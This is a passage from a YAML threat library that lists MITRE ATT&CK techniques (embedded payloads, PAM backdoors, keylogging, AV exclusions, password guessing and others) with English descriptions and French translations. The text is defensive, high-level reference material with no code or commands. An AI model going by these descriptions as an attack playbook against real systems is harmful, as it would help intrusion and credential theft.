      \ executables) may be abused to carry and obfuscate malicious payloads and content.\
      \ In some cases, embedded payloads may also enable adversaries to [Subvert Trust\
      \ Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution\
      \ controls such as digital signatures and notarization tickets.(Citation: Sentinel\
      \ Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation:\
      \ Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003),\
      \ though does not involve weaving malicious content into specific bytes and\
      \ patterns related to legitimate digital media formats.(Citation: GitHub PSImage)\
      \ \n\nFor example, adversaries have been observed embedding payloads within\
      \ or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2)\
      \ Adversaries have also been observed nesting payloads (such as executables\
      \ and run-only scripts) inside a file of the same format.(Citation: SentinelLabs\
      \ reversing run-only applescripts 2021) \n\nEmbedded content may also be used\
      \ as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads\
      \ used to infect benign system processes.(Citation: Trend Micro) These embedded\
      \ then injected payloads may be used as part of the modules of malware designed\
      \ to provide specific features such as encrypting C2 communications in support\
      \ of an orchestrator module. For example, an embedded module may be injected\
      \ into default browsers, allowing adversaries to then communicate via the network.(Citation:\
      \ Malware Analysis Report ComRAT)\nhttps://attack.mitre.org/techniques/T1027/009"
    translations:
      fr:
        name: "Charges utiles int\xE9gr\xE9es"
        description: "Les adversaires peuvent int\xE9grer des charges utiles dans\
          \ d\u2019autres fichiers pour dissimuler le contenu malveillant aux d\xE9\
          fenses. Sinon, des fichiers apparemment inoffensifs (tels que des scripts\
          \ et des ex\xE9cutables) peuvent \xEAtre utilis\xE9s \xE0 mauvais escient\
          \ pour transporter et obscurcir des charges utiles et du contenu malveillants.\
          \ Dans certains cas, les charges utiles int\xE9gr\xE9es peuvent \xE9galement\
          \ permettre aux adversaires de [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553)\
          \ sans affecter les contr\xF4les d\u2019ex\xE9cution tels que les signatures\
          \ num\xE9riques et les tickets de notarisation. (Citation : Laboratoires\
          \ Sentinelle) \n\nLes adversaires peuvent int\xE9grer des charges utiles\
          \ dans diff\xE9rents formats de fichier pour masquer les charges utiles.\
          \ (Citation : Microsoft Learn) Ceci est similaire \xE0 la [Steganographie](https://attack.mitre.org/techniques/T1027/003),\
          \ mais n\u2019implique pas de tisser du contenu malveillant en octets et\
          \ motifs sp\xE9cifiques li\xE9s \xE0 des formats de m\xE9dias num\xE9riques\
          \ l\xE9gitimes. (Citation : GitHub PSImage) \n\nPar exemple, des adversaires\
          \ ont \xE9t\xE9 observ\xE9s en train d\u2019int\xE9grer des charges utiles\
          \ dans un binaire autrement b\xE9nin ou en tant que superposition de celui-ci.\
          \ (Citation : securelist dtrack2) Des adversaires ont \xE9galement \xE9\
          t\xE9 observ\xE9s en train d\u2019imbriquer des charges utiles (telles que\
          \ des ex\xE9cutables et des scripts d\u2019ex\xE9cution seule) dans un fichier\
          \ du m\xEAme format. (Citation : SentinelLabs inversant les applescripts\
          \ en run-only 2021) \n\nLe contenu int\xE9gr\xE9 peut \xE9galement \xEA\
          tre utilis\xE9 comme charges utiles [Injection de processus](https://attack.mitre.org/techniques/T1055)\
          \ utilis\xE9es pour infecter des processus syst\xE8me inoffensifs. (Citation\
          \ : Trend Micro) Ces charges utiles int\xE9gr\xE9es puis inject\xE9es peuvent\
          \ \xEAtre utilis\xE9es dans le cadre de modules de logiciels malveillants\
          \ con\xE7us pour fournir des fonctionnalit\xE9s sp\xE9cifiques telles que\
          \ le chiffrement des communications C2 \xE0 l\u2019appui d\u2019un module\
          \ d\u2019orchestration. Par exemple, un module embarqu\xE9 peut \xEAtre\
          \ inject\xE9 dans les navigateurs par d\xE9faut, permettant aux adversaires\
          \ de communiquer ensuite via le r\xE9seau. (Citation : Rapport d\u2019analyse\
          \ des logiciels malveillants ComRAT)\nhttps://attack.mitre.org/techniques/T1027/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.003
    ref_id: T1556.003
    name: Pluggable Authentication Modules
    description: 'Adversaries may modify pluggable authentication modules (PAM) to
      access user credentials or enable otherwise unwarranted access to accounts.
      PAM is a modular system of configuration files, libraries, and executable files
      which guide authentication for many services. The most common authentication
      module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account
      authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation:
      Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)


      Adversaries may modify components of the PAM system to create backdoors. PAM
      components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary
      adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)


      Malicious modifications to the PAM system may also be abused to steal credentials.
      Adversaries may infect PAM resources with code to harvest user credentials,
      since the values exchanged with PAM components may be plain-text since PAM does
      not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)

      https://attack.mitre.org/techniques/T1556/003'
    translations:
      fr:
        name: "Modules d\u2019authentification enfichables"
        description: "Les adversaires peuvent modifier les modules d\u2019authentification\
          \ enfichables (PAM) pour acc\xE9der aux informations d\u2019identification\
          \ de l\u2019utilisateur ou permettre un acc\xE8s injustifi\xE9 aux comptes.\
          \ PAM est un syst\xE8me modulaire de fichiers de configuration, de biblioth\xE8\
          ques et de fichiers ex\xE9cutables qui guident l\u2019authentification pour\
          \ de nombreux services. Le module d\u2019authentification le plus courant\
          \ est <code>pam_unix.so</code>, qui r\xE9cup\xE8re, d\xE9finit et v\xE9\
          rifie les informations d\u2019authentification de compte dans <code>/etc/passwd</code>\
          \ et <code>/etc/shadow</code>. (Citation : Apple PAM)(Citation : Man Pam_Unix)(Citation\
          \ : Red Hat PAM)\n\nLes adversaires peuvent modifier des composants du syst\xE8\
          me PAM pour cr\xE9er des portes d\xE9rob\xE9es. Les composants PAM, tels\
          \ que <code>pam_unix.so</code>, peuvent \xEAtre corrig\xE9s pour accepter\
          \ des valeurs arbitraires fournies par l\u2019adversaire comme informations\
          \ d\u2019identification l\xE9gitimes. (Citation : PAM Backdoor)\n\nLes modifications\
          \ malveillantes apport\xE9es au syst\xE8me PAM peuvent \xE9galement \xEA\
          tre utilis\xE9es de mani\xE8re abusive pour voler des informations d\u2019\
          identification. Les adversaires peuvent infecter les ressources PAM avec\
          \ du code pour collecter les informations d\u2019identification de l\u2019\
          utilisateur, car les valeurs \xE9chang\xE9es avec les composants PAM peuvent\
          \ \xEAtre en texte brut puisque PAM ne stocke pas les mots de passe. (Citation\
          \ : PAM Creds)(Citation : Apple PAM)\nhttps://attack.mitre.org/techniques/T1556/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1578.004
    ref_id: T1578.004
    name: Revert Cloud Instance
    description: 'An adversary may revert changes made to a cloud instance after they
      have performed malicious activities in attempt to evade detection and remove
      evidence of their presence. In highly virtualized environments, such as cloud-based
      infrastructure, this may be accomplished by restoring virtual machine (VM) or
      data storage snapshots through the cloud management dashboard or cloud APIs.


      Another variation of this technique is to utilize temporary storage attached
      to the compute instance. Most cloud providers provide various types of storage
      including persistent, local, and/or ephemeral, with the ephemeral types often
      reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation:
      Google - Restore Cloud Snapshot)

      https://attack.mitre.org/techniques/T1578/004'
    translations:
      fr:
        name: "R\xE9tablir l\u2019instance Cloud"
        description: "Un adversaire peut annuler les modifications apport\xE9es \xE0\
          \ une instance cloud apr\xE8s avoir effectu\xE9 des activit\xE9s malveillantes\
          \ dans le but d\u2019\xE9chapper \xE0 la d\xE9tection et de supprimer les\
          \ preuves de sa pr\xE9sence. Dans les environnements hautement virtualis\xE9\
          s, tels que les infrastructures bas\xE9es sur le cloud, cela peut \xEAtre\
          \ accompli en restaurant des instantan\xE9s de machine virtuelle (VM) ou\
          \ de stockage de donn\xE9es via le tableau de bord de gestion du cloud ou\
          \ des API cloud.\n\nUne autre variante de cette technique consiste \xE0\
          \ utiliser un stockage temporaire attach\xE9 \xE0 l\u2019instance de calcul.\
          \ La plupart des fournisseurs de cloud proposent diff\xE9rents types de\
          \ stockage, notamment persistant, local et/ou \xE9ph\xE9m\xE8re, les types\
          \ \xE9ph\xE9m\xE8res \xE9tant souvent r\xE9initialis\xE9s lors de l\u2019\
          arr\xEAt/red\xE9marrage de la machine virtuelle. (Citation : Tech Republic\
          \ - Restaurer les instantan\xE9s AWS)(Citation\_: Google - Restaurer l\u2019\
          instantan\xE9 du cloud)\nhttps://attack.mitre.org/techniques/T1578/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1592
    ref_id: T1592
    name: Gather Victim Host Information
    description: "Adversaries may gather information about the victim's hosts that\
      \ can be used during targeting. Information about hosts may include a variety\
      \ of details, including administrative data (ex: name, assigned IP, functionality,\
      \ etc.) as well as specifics regarding its configuration (ex: operating system,\
      \ language, etc.).\n\nAdversaries may gather this information in various ways,\
      \ such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595)\
      \ or [Phishing for Information](https://attack.mitre.org/techniques/T1598).\
      \ Adversaries may also compromise sites then include malicious content designed\
      \ to collect host information from visitors.(Citation: ATT ScanBox) Information\
      \ about hosts may also be exposed to adversaries via online or other accessible\
      \ data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)\
      \ or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\
      \ Gathering this information may reveal opportunities for other forms of reconnaissance\
      \ (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)\
      \ or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),\
      \ establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)\
      \ or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or\
      \ initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)\
      \ or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\
      \nAdversaries may also gather victim host information via User-Agent HTTP headers,\
      \ which are sent to a server to identify the application, operating system,\
      \ vendor, and/or version of the requesting user agent. This can be used to inform\
      \ the adversary\u2019s follow-on action. For example, adversaries may check\
      \ user agents for the requesting operating system, then only serve malware for\
      \ target operating systems while ignoring others.(Citation: TrellixQakbot)\n\
      https://attack.mitre.org/techniques/T1592"
    translations:
      fr:
        name: "Recueillir les informations sur l\u2019h\xF4te de la victime"
        description: "Les adversaires peuvent recueillir des informations sur les\
          \ h\xF4tes de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les informations sur les h\xF4tes peuvent inclure une vari\xE9t\xE9 de\
          \ d\xE9tails, y compris des donn\xE9es administratives (par exemple, nom,\
          \ adresse IP attribu\xE9e, fonctionnalit\xE9, etc.) ainsi que des d\xE9\
          tails concernant sa configuration (par exemple : syst\xE8me d\u2019exploitation,\
          \ langue, etc.).\n\nLes adversaires peuvent collecter ces informations de\
          \ diff\xE9rentes mani\xE8res, par exemple par le biais d\u2019une [analyse\
          \ active](https://attack.mitre.org/techniques/T1595) ou d\u2019un [hame\xE7\
          onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ Les adversaires peuvent \xE9galement compromettre les sites et inclure\
          \ du contenu malveillant con\xE7u pour collecter des informations sur l\u2019\
          h\xF4te aupr\xE8s des visiteurs. (Citation : ATT ScanBox) Les informations\
          \ sur les h\xF4tes peuvent \xE9galement \xEAtre expos\xE9es \xE0 des adversaires\
          \ via des ensembles de donn\xE9es en ligne ou d\u2019autres ensembles de\
          \ donn\xE9es accessibles (ex : [M\xE9dias sociaux](https://attack.mitre.org/techniques/T1593/001)\
          \ ou [Sites Web appartenant \xE0 des victimes de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ La collecte de ces informations peut r\xE9v\xE9ler des possibilit\xE9\
          s pour d\u2019autres formes de reconnaissance (ex : [Recherche de sites\
          \ Web/domaines ouverts](https://attack.mitre.org/techniques/T1593) ou [Recherche\
          \ de bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [Cha\xEEne d\u2019approvisionnement\
          \ compromis](https://attack.mitre.org/techniques/T1195) ou [services \xE0\
          \ distance externes](https://attack.mitre.org/techniques/T1133)).\n\nLes\
          \ adversaires peuvent \xE9galement collecter des informations sur l\u2019\
          h\xF4te de la victime via des en-t\xEAtes HTTP User-Agent, qui sont envoy\xE9\
          s \xE0 un serveur pour identifier l\u2019application, le syst\xE8me d\u2019\
          exploitation, le fournisseur et/ou la version de l\u2019agent utilisateur\
          \ demandeur. Cela peut \xEAtre utilis\xE9 pour \xE9clairer l\u2019action\
          \ de suivi de l\u2019adversaire. Par exemple, les adversaires peuvent v\xE9\
          rifier les agents utilisateurs pour le syst\xE8me d\u2019exploitation demandeur,\
          \ puis ne diffuser des logiciels malveillants que pour les syst\xE8mes d\u2019\
          exploitation cibles tout en ignorant les autres. (Citation : TrellixQakbot)\n\
          https://attack.mitre.org/techniques/T1592"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1596.003
    ref_id: T1596.003
    name: Digital Certificates
    description: 'Adversaries may search public digital certificate data for information
      about victims that can be used during targeting. Digital certificates are issued
      by a certificate authority (CA) in order to cryptographically verify the origin
      of signed content. These certificates, such as those used for encrypted web
      traffic (HTTPS SSL/TLS communications), contain information about the registered
      organization such as name and location.


      Adversaries may search digital certificate data to gather actionable information.
      Threat actors can use online resources and lookup tools to harvest information
      about certificates.(Citation: SSLShopper Lookup) Digital certificate data may
      also be available from artifacts signed by the organization (ex: certificates
      used from encrypted web traffic are served with content).(Citation: Medium SSL
      Cert) Information from these sources may reveal opportunities for other forms
      of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595)
      or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing
      operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
      or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

      https://attack.mitre.org/techniques/T1596/003'
    translations:
      fr:
        name: "Certificats num\xE9riques"
        description: "Les adversaires peuvent rechercher des donn\xE9es de certificat\
          \ num\xE9rique publiques pour obtenir des informations sur les victimes\
          \ qui peuvent \xEAtre utilis\xE9es lors du ciblage. Les certificats num\xE9\
          riques sont \xE9mis par une autorit\xE9 de certification (CA) afin de v\xE9\
          rifier cryptographiquement l\u2019origine du contenu sign\xE9. Ces certificats,\
          \ tels que ceux utilis\xE9s pour le trafic Web chiffr\xE9 (communications\
          \ HTTPS SSL/TLS), contiennent des informations sur l\u2019organisation enregistr\xE9\
          e, telles que le nom et l\u2019emplacement.\n\nLes adversaires peuvent rechercher\
          \ des donn\xE9es de certificat num\xE9rique pour recueillir des informations\
          \ exploitables. Les auteurs de menace peuvent utiliser des ressources en\
          \ ligne et des outils de recherche pour recueillir des informations sur\
          \ les certificats. (Citation : SSLShopper Lookup) Les donn\xE9es de certificat\
          \ num\xE9rique peuvent \xE9galement \xEAtre disponibles \xE0 partir d\u2019\
          artefacts sign\xE9s par l\u2019organisation (par exemple, les certificats\
          \ utilis\xE9s \xE0 partir du trafic Web chiffr\xE9 sont servis avec du contenu).\
          \ (Citation : Certificat SSL moyen) Les informations provenant de ces sources\
          \ peuvent r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de\
          \ reconnaissance (ex : [Analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou [Phishing pour obtenir de l\u2019information](https://attack.mitre.org/techniques/T1598)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou un acc\xE8s initial (ex : [Externe distant Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Relation de confiance](https://attack.mitre.org/techniques/T1199)).\n\
          https://attack.mitre.org/techniques/T1596/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1056.001
    ref_id: T1056.001
    name: Keylogging
    description: 'Adversaries may log user keystrokes to intercept credentials as
      the user types them. Keylogging is likely to be used to acquire credentials
      for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
      efforts are not effective, and may require an adversary to intercept keystrokes
      on a system for a substantial period of time before credentials can be successfully
      captured. In order to increase the likelihood of capturing credentials quickly,
      an adversary may also perform actions such as clearing browser cookies to force
      users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)


      Keylogging is the most prevalent type of input capture, with many different
      ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods
      include:


      * Hooking API callbacks used for processing keystrokes. Unlike [Credential API
      Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely
      on API functions intended for processing keystroke data.

      * Reading raw keystroke data from the hardware buffer.

      * Windows Registry modifications.

      * Custom drivers.

      * [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide
      adversaries with hooks into the operating system of network devices to read
      raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

      https://attack.mitre.org/techniques/T1056/001'
    translations:
      fr:
        name: Enregistrement de frappe
        description: "Les adversaires peuvent enregistrer les frappes au clavier de\
          \ l\u2019utilisateur pour intercepter les informations d\u2019identification\
          \ au fur et \xE0 mesure que l\u2019utilisateur les saisit. L\u2019enregistrement\
          \ de frappe est susceptible d\u2019\xEAtre utilis\xE9 pour acqu\xE9rir des\
          \ informations d\u2019identification pour de nouvelles opportunit\xE9s d\u2019\
          acc\xE8s lorsque les efforts de [d\xE9chargement des informations d\u2019\
          identification du syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003)\
          \ ne sont pas efficaces et peuvent n\xE9cessiter qu\u2019un adversaire intercepte\
          \ les frappes au clavier sur un syst\xE8me pendant une p\xE9riode de temps\
          \ importante avant que les informations d\u2019identification ne puissent\
          \ \xEAtre captur\xE9es avec succ\xE8s. Afin d\u2019augmenter la probabilit\xE9\
          \ de capturer rapidement les informations d\u2019identification, un adversaire\
          \ peut \xE9galement effectuer des actions telles que l\u2019effacement des\
          \ cookies du navigateur pour forcer les utilisateurs \xE0 se r\xE9authentifier\
          \ aupr\xE8s des syst\xE8mes. (R\xE9f\xE9rence : Talos Kimsuky, novembre\
          \ 2021)\n\nL\u2019enregistrement de frappe est le type de capture d\u2019\
          entr\xE9e le plus r\xE9pandu, avec de nombreuses fa\xE7ons diff\xE9rentes\
          \ d\u2019intercepter les frappes au clavier. (Citation : Aventures d\u2019\
          une frappe) Certaines m\xE9thodes incluent :\n\n* Callbacks de l\u2019API\
          \ de raccordement utilis\xE9s pour le traitement des frappes au clavier.\
          \ Contrairement \xE0 [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004),\
          \ il se concentre uniquement sur les fonctions API destin\xE9es au traitement\
          \ des donn\xE9es de frappe.\n* Lecture des donn\xE9es brutes de frappe \xE0\
          \ partir de la m\xE9moire tampon mat\xE9rielle.\n* Modifications du registre\
          \ Windows.\n* Pilotes personnalis\xE9s.\n* [Modifier l\u2019image syst\xE8\
          me](https://attack.mitre.org/techniques/T1601) peut fournir aux adversaires\
          \ des crochets dans le syst\xE8me d\u2019exploitation des p\xE9riph\xE9\
          riques r\xE9seau pour lire les frappes brutes des sessions de connexion.\
          \ (Citation : Blog Cisco Legacy Device Attacks)\nhttps://attack.mitre.org/techniques/T1056/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.012
    ref_id: T1564.012
    name: File/Path Exclusions
    description: 'Adversaries may attempt to hide their file-based artifacts by writing
      them to specific folders or file names excluded from antivirus (AV) scanning
      and other defensive capabilities. AV and other file-based scanners often include
      exclusions to optimize performance as well as ease installation and legitimate
      use of applications. These exclusions may be contextual (e.g., scans are only
      initiated in response to specific triggering events/alerts), but are also often
      hardcoded strings referencing specific folders and/or files assumed to be trusted
      and legitimate.(Citation: Microsoft File Folder Exclusions)


      Adversaries may abuse these exclusions to hide their file-based artifacts. For
      example, rather than  tampering with tool settings to add a new exclusion (i.e.,
      [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries
      may drop their file-based payloads in default or otherwise well-known exclusions.
      Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)
      and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043)
      activities to both discover and verify existing exclusions in a victim environment.

      https://attack.mitre.org/techniques/T1564/012'
    translations:
      fr:
        name: "Exclusions de fichiers/chemins d\u2019acc\xE8s"
        description: "Les adversaires peuvent tenter de masquer leurs artefacts bas\xE9\
          s sur des fichiers en les \xE9crivant dans des dossiers sp\xE9cifiques ou\
          \ des noms de fichiers exclus de l\u2019analyse antivirus (AV) et d\u2019\
          autres fonctionnalit\xE9s d\xE9fensives. Les scanners antivirus et autres\
          \ analyseurs bas\xE9s sur des fichiers incluent souvent des exclusions pour\
          \ optimiser les performances et faciliter l\u2019installation et l\u2019\
          utilisation l\xE9gitime des applications. Ces exclusions peuvent \xEAtre\
          \ contextuelles (par exemple, les analyses ne sont lanc\xE9es qu\u2019en\
          \ r\xE9ponse \xE0 des \xE9v\xE9nements/alertes d\xE9clencheurs sp\xE9cifiques),\
          \ mais sont aussi souvent des cha\xEEnes cod\xE9es en dur faisant r\xE9\
          f\xE9rence \xE0 des dossiers et/ou des fichiers sp\xE9cifiques suppos\xE9\
          s fiables et l\xE9gitimes. (Citation : Exclusions de dossiers de fichiers\
          \ Microsoft)\n\nLes adversaires peuvent abuser de ces exclusions pour masquer\
          \ leurs artefacts bas\xE9s sur des fichiers. Par exemple, plut\xF4t que\
          \ de modifier les param\xE8tres de l\u2019outil pour ajouter une nouvelle\
          \ exclusion (par exemple, [D\xE9sactiver ou modifier les outils](https://attack.mitre.org/techniques/T1562/001)),\
          \ les adversaires peuvent supprimer leurs charges utiles bas\xE9es sur des\
          \ fichiers dans des exclusions par d\xE9faut ou autrement bien connues.\
          \ Les adversaires peuvent \xE9galement utiliser [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)\
          \ et d\u2019autres activit\xE9s [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043)\
          \ pour d\xE9couvrir et v\xE9rifier les exclusions existantes dans un environnement\
          \ victime.\nhttps://attack.mitre.org/techniques/T1564/012"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1222.002
    ref_id: T1222.002
    name: Linux and Mac File and Directory Permissions Modification
    description: "Adversaries may modify file or directory permissions/attributes\
      \ to evade access control lists (ACLs) and access protected files.(Citation:\
      \ Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)\
      \ File and directory permissions are commonly managed by ACLs configured by\
      \ the file or directory owner, or users with the appropriate permissions. File\
      \ and directory ACL implementations vary by platform, but generally explicitly\
      \ designate which users or groups can perform which actions (read, write, execute,\
      \ etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission\
      \ groups (user, group, and other) and a standard set of permissions (read, write,\
      \ and execute) that are applied to each group. While nuances of each platform\u2019\
      s permissions implementation may vary, most of the platforms provide two primary\
      \ commands used to manipulate file and directory ACLs: <code>chown</code> (short\
      \ for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial\
      \ may use these commands to make themselves the owner of files and directories\
      \ or change the mode if current permissions allow it. They could subsequently\
      \ lock others out of the file. Specific file and directory modifications may\
      \ be a required step for many techniques, such as establishing Persistence via\
      \ [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004)\
      \ or tainting/hijacking other instrumental binary/configuration files via [Hijack\
      \ Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS\
      \ Common Tools and Techniques)\nhttps://attack.mitre.org/techniques/T1222/002"
    translations:
      fr:
        name: "Modification des autorisations de fichiers et de r\xE9pertoires Linux\
          \ et Mac"
        description: "Les adversaires peuvent modifier les autorisations/attributs\
          \ de fichiers ou de r\xE9pertoires pour contourner les listes de contr\xF4\
          le d\u2019acc\xE8s (ACL) et acc\xE9der aux fichiers prot\xE9g\xE9s. (Citation\
          \ : Hybrid Analysis Icacls1 juin 2018)(Citation : Analyse hybride Icacls2\
          \ mai 2018) Les autorisations de fichiers et de r\xE9pertoires sont g\xE9\
          n\xE9ralement g\xE9r\xE9es par des listes de contr\xF4le d\u2019acc\xE8\
          s configur\xE9es par le propri\xE9taire du fichier ou du r\xE9pertoire,\
          \ ou par les utilisateurs disposant des autorisations appropri\xE9es. Les\
          \ impl\xE9mentations de listes de contr\xF4le d\u2019acc\xE8s de fichiers\
          \ et de r\xE9pertoires varient selon la plate-forme, mais d\xE9signent g\xE9\
          n\xE9ralement explicitement quels utilisateurs ou groupes peuvent effectuer\
          \ quelles actions (lecture, \xE9criture, ex\xE9cution, etc.).\n\nLa plupart\
          \ des plates-formes Linux et bas\xE9es sur Linux fournissent un ensemble\
          \ standard de groupes d\u2019autorisations (utilisateur, groupe et autres)\
          \ et un ensemble standard d\u2019autorisations (lecture, \xE9criture et\
          \ ex\xE9cution) qui sont appliqu\xE9s \xE0 chaque groupe. Bien que les nuances\
          \ de l\u2019impl\xE9mentation des autorisations de chaque plate-forme puissent\
          \ varier, la plupart des plates-formes fournissent deux commandes principales\
          \ utilis\xE9es pour manipuler les ACL de fichiers et de r\xE9pertoires :\
          \ <code>chown</code> (abr\xE9viation de change owner) et <code>chmod</code>\
          \ (abr\xE9viation de change mode).\n\nAdversarial peut utiliser ces commandes\
          \ pour se faire propri\xE9taire de fichiers et de r\xE9pertoires ou changer\
          \ de mode si les autorisations actuelles le permettent. Ils pourraient par\
          \ la suite emp\xEAcher d\u2019autres personnes d\u2019acc\xE9der au fichier.\
          \ Des modifications sp\xE9cifiques de fichiers et de r\xE9pertoires peuvent\
          \ \xEAtre une \xE9tape n\xE9cessaire pour de nombreuses techniques, telles\
          \ que l\u2019\xE9tablissement de la persistance via [Unix Shell Configuration\
          \ Modification](https://attack.mitre.org/techniques/T1546/004) ou l\u2019\
          alt\xE9ration/d\xE9tournement d\u2019autres fichiers binaires/de configuration\
          \ instrumentaux via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\
          \ (Citation : 20 outils et techniques courants macOS)\nhttps://attack.mitre.org/techniques/T1222/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1110.001
    ref_id: T1110.001
    name: Password Guessing
    description: 'Adversaries with no prior knowledge of legitimate credentials within
      the system or environment may guess passwords to attempt access to accounts.
      Without knowledge of the password for an account, an adversary may opt to systematically
      guess the password using a repetitive or iterative mechanism. An adversary may
      guess login credentials without prior knowledge of system or environment passwords
      during an operation by using a list of common passwords. Password guessing may
      or may not take into account the target''s policies on password complexity or
      use policies that may lock accounts out after a number of failed attempts.


      Guessing passwords can be a risky option because it could cause numerous authentication
      failures and account lockouts, depending on the organization''s login failure
      policies. (Citation: Cylance Cleaver)


      Typically, management services over commonly used ports are used when guessing
      passwords. Commonly targeted services include the following:


      * SSH (22/TCP)

      * Telnet (23/TCP)

      * FTP (21/TCP)

      * NetBIOS / SMB / Samba (139/TCP & 445/TCP)

      * LDAP (389/TCP)

      * Kerberos (88/TCP)

      * RDP / Terminal Services (3389/TCP)

      * HTTP/HTTP Management Services (80/TCP & 443/TCP)

      * MSSQL (1433/TCP)

      * Oracle (1521/TCP)

      * MySQL (3306/TCP)

      * VNC (5900/TCP)

      * SNMP (161/UDP and 162/TCP/UDP)


      In addition to management services, adversaries may "target single sign-on (SSO)
      and cloud-based applications utilizing federated authentication protocols,"
      as well as externally facing email applications, such as Office 365.(Citation:
      US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces
      (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication
      protocols.(Citation: Trend Micro Emotet 2020)


      In default environments, LDAP and Kerberos connection attempts are less likely
      to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

      https://attack.mitre.org/techniques/T1110/001'
    translations:
      fr:
        name: Devinage du mot de passe
        description: "Les adversaires qui n\u2019ont aucune connaissance pr\xE9alable\
          \ des informations d\u2019identification l\xE9gitimes au sein du syst\xE8\
          me ou de l\u2019environnement peuvent deviner des mots de passe pour tenter\
          \ d\u2019acc\xE9der aux comptes. Sans conna\xEEtre le mot de passe d\u2019\
          un compte, un adversaire peut choisir de deviner syst\xE9matiquement le\
          \ mot de passe \xE0 l\u2019aide d\u2019un m\xE9canisme r\xE9p\xE9titif ou\
          \ it\xE9ratif. Un adversaire peut deviner les identifiants de connexion\
          \ sans conna\xEEtre au pr\xE9alable les mots de passe du syst\xE8me ou de\
          \ l\u2019environnement au cours d\u2019une op\xE9ration \xE0 l\u2019aide\
          \ d\u2019une liste de mots de passe courants. La supposition de mot de passe\
          \ peut ou non prendre en compte les politiques de la cible en mati\xE8re\
          \ de complexit\xE9 des mots de passe ou utiliser des strat\xE9gies qui peuvent\
          \ verrouiller les comptes apr\xE8s un certain nombre de tentatives infructueuses.\n\
          \nDeviner les mots de passe peut \xEAtre une option risqu\xE9e, car elle\
          \ peut entra\xEEner de nombreux \xE9checs d\u2019authentification et de\
          \ verrouillage de compte, en fonction des politiques d\u2019\xE9chec de\
          \ connexion de l\u2019organisation. (R\xE9f\xE9rence : Cylance Cleaver)\n\
          \nEn r\xE8gle g\xE9n\xE9rale, les services de gestion sur les ports couramment\
          \ utilis\xE9s sont utilis\xE9s pour deviner les mots de passe. Les services\
